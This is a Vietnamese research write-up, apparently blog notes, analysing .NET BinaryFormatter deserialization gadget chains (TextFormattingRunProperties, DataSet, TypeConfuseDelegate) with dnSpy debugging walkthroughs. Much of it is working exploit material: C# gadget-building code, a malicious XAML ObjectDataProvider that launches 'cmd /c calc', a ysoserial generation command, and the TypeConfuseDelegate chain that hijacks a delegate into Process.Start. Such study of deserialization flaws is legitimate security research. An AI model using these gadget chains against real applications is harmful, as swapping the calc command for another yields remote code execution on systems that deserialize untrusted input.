Formatter - một vài chain của BinaryFormatter
Ở bài này ta sẽ cùng phân tích một vài chain của BinaryFormatter
TextFormattingRunProperties chain
Đây là một chain đơn giản và cũng là tiền đề của các chain khác trong BinaryFormatter, nên mình sẽ phân tích trước
Điều kiện để exploit chain này:
Dùng BinaryFormatter
Target có dùng
Microsoft.PowerShell.Editor.dll
(là một phần của Powershell, thường được cài đặt mặc định trong các bản windows server 2008/windows 7 trở lên)
Demo Exploit
Đầu tiên ta sẽ nhìn vào code gen payload của ysoserial để có cái nhìn tổng quát về chain

Ta thấy code này chủ yếu là chỉ tạo ra 1 object wrapper inplement lại ISerializable
để cho phép custome quá trình seri, trong quá trình seri sẽ gọi đến info.SetType
nhằm set object type khi object này được deser (tham khảo: https://stackoverflow.com/questions/42794732/customized-serialization#:~:text=4,table of sprites). Hiểu đơn giản là sau khi SetType
, nếu object được deser thì sẽ đi đến SetObjectData (do ta implement lại ISerializable) để tạo object có type tương ứng với object type được set, nghĩa là từ 1 object wrapper ta có thể tạo instace của bất kỳ object nào thông qua SetType
. Nguyên nhân của việc phải khai báo 1 cách gián tiếp như thế này là vì object ta muốn lợi dụng để exploit không thể khai báo trong code một cách bình thường do constructor của nó không được public, do đó ta phải thông qua SetType
Ta thấy chain này cực kỳ đơn giản chỉ set property ForegroundBrush
cho object type TextFormattingRunProperties
là một malicious xaml
Ta có đoạn code sau để demo lại chain và exploit trên local:
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace TextFormattingRunProperties
{
[Serializable]
public class ExploitObject : ISerializable
{
protected ExploitObject(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public ExploitObject(string xaml)
{
_xaml = xaml;
}
}
class Program
{
static void Main(string[] args)
{
string xaml_payload = File.ReadAllText(@"xml.txt");
ExploitObject payload = new ExploitObject(xaml_payload);
using (MemoryStream memoryStream = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
Console.ReadKey();
}
}
}
Nội dung file xml.txt
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
Kết quả khi thực thi sẽ quăng ra lỗi nhưng vẫn pop up calc

Phân tích
Sink nằm ở TextFormattingRunProperties
của Microsoft.PowerShell.Editor.dll
nên mình sẽ decomplie dll này để xem source (nếu không tìm thấy dll ở local thì có thể decomplie dll đi kèm khi tải ysoserial nằm ở đường dẫn ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll)
Decomplie bằng dnspy ta được kết quả như sau:

Nhấn vào Microsoft.VisualStudio.Text.Formatting
để tìm TextFormattingRunProperties
Nhìn vào constructor của TextFormattingRunProperties ta để ý đoạn set ForegroundBrush
sẽ gọi đến GetObjectFromSerializationInfo
Nội dung hàm GetObjectFromSerializationInfo

Ta thấy giá trị malicious xaml mà ta truyền vào sẽ được lấy ra và đưa vào XamlReader.Parse
→ RCE
Vậy thì tóm tắt chain này sẽ như sau:
binaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
Mình thử debug để confirm lại
Để debug thì mình phải add file exe dùng để demo vào và run debug (lưu ý dùng dnspy bản 32-bit)
Break at set là Don’t Break

Code sẽ dừng ngay đây:

Nhấn F9
để đặt breakpoint tại đây và rundebug lại một lần nửa thì ta sẽ hit được breakpoint
Khi này chỉ cần Step Into
là ta sẽ đi đến constructor của TextFormattingRunProperties

Tiếp tục nhảy vào GetObjectFromSerializationInfo

Giá trị của biến string là xaml payload, khi đi qua hàm Parse thì calc popup
DataSet chain
Chain tiếp theo sẽ là DataSet
, thật ra chain này có phần đầu là DataSet còn phần cuối lại gọi đến TextFormattingRunProperties
Tóm tắt chain
DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
Điều kiện để exploit:
Target có sử dụng
Microsoft.PowerShell.Editor.dll
package (tương tự chain trên vì DataSet thuộc package System.Data - mặc định)
Demo exploit
Vì lười nên mình dùng yso gen payload và viết code load payload để build file exe demo dùng cho mục đích debug
Gen payload:
ysoserial.exe -g DataSet -f BinaryFormatter -c calc -o raw > data.bin
Code load đơn giản:
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace DataSet
{
internal class Program
{
public static void Main(string[] args)
{
BinaryFormatter bf = new BinaryFormatter();
Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read, FileShare.Read);
bf.Deserialize(stream);
stream.Close();
}
}
}
Khi chạy code thì sẽ quăng ra lỗi, kèm theo đó là calc pop up

Phân tích
Trước khi debug thì mình nhìn sơ qua cách yso gen payload

Ta thấy payload sẽ khai báo object type khi deser là DataSet
kèm theo một vài property, payload trigger RCE là _fakeTable
nằm trong property Tables_0
Khi kéo lên trên để nhìn code được gọi khi gen thì ta sẽ biết giá trị của _fakeTable
là binary của chain TextFormattingRunProperties

Vậy là chain TextFormattingRunProperties
được lồng vào trong chain DataSet
Tiếp theo mình sẽ attach file demo vào dnspy và tiến hành debug
Tương tự như chain trên, mình chạy lần đầu để dnspy tự nhảy đến điểm quăng lỗi, sau đó đặt breakpoint và chạy lại lần 2 để nhảy vào constructor của DataSet

Đoạn code trên tại constructor sẽ lặp qua từng giá trị ta set trong SerializationInfo
Nếu gặp phải DataSet.RemotingFormat
thì nó sẽ set serialize format thành giá trị mà ta cung cấp (nếu không có thì mặc định seralize format là xml)
Vì payload ta khai báo format là Binary
nên ta bỏ qua được 2 câu if và nhảy thẳng vào method DeserializeDataSet

Trong method này ta tiếp tục đi vào DeserializeDataSetSchema

Tại đây vì formatter là Binary
nên ta sẽ nhảy vào câu if thứ 2

Tiếp đến code gọi đến DeserializeDataSetProperties
, tại method này nếu ta muốn tiếp tục đi đến sink thì ta phải khai báo một số giá trị như DataSetName, Namespace,…

Đó cũng chính là lý do vì sao khi gen payload ta cần phải setup nhiều property đến vậy
Tiếp tục quay lại hàm DeserializeDataSetSchema
, vì ta setup DataSet.Tables.Count = 1
nên code nhảy vào vòng for và giá trị của DataSet.Tables_0
được gán vào bytes array và đem đi deser

Chain đến đây có thể coi như đã xong vì khi deser bytes array đó sẽ gọi đến constructor của TextFormattingRunProperties và flow code y hệt như mình phân tích ở phần đầu
Tóm lại
Ta có thể thấy chain này chỉ đơn giản relay lại chain TextFormattingRunProperties, tuy điểm ban đầu là khác nhưng về bản chất thì sinks đều y như sau
Tóm tắt chain lại 1 lần nữa
DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
TypeConfuseDelegate
Exploit code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
namespace TypeConfuseDelegate
{
internal class Program
{
public static object CustomGadget()
{
Comparison<string> comparison = new Comparison<string>(String.Compare);
Comparison<string> realComparison = (Comparison<string>)MulticastDelegate.Combine(comparison, comparison);
//ComparisonComparer<string> comparisonComparer = new ComparisonComparer<string>(comparison);
Comparer<string> comparisonComparer = Comparer<string>.Create(realComparison);
SortedSet<string> set = new SortedSet<string>(comparisonComparer);
set.Add("cmd.exe");
set.Add("/c calc.exe");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = realComparison.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(realComparison, invoke_list);
return set;
}
public static void BinaryFormatterSerialize(string file, object o)
{
BinaryFormatter bf = new BinaryFormatter();
FileStream fs = new FileStream(file, FileMode.Create, FileAccess.Write, FileShare.None);
bf.Serialize(fs,o);
fs.Close();
}
public static object BinaryFormatterDerialize(string file)
{
BinaryFormatter bf = new BinaryFormatter();
Stream stream = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.Read);
object o = bf.Deserialize(stream);
stream.Close();
return o;
}
public static void Main(string[] args)
{
object set = CustomGadget();
string file = "data.bin";
BinaryFormatterSerialize(file, set);
BinaryFormatterDerialize(file);
}
}
}
Nguồn: https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a
Note trick
Last updated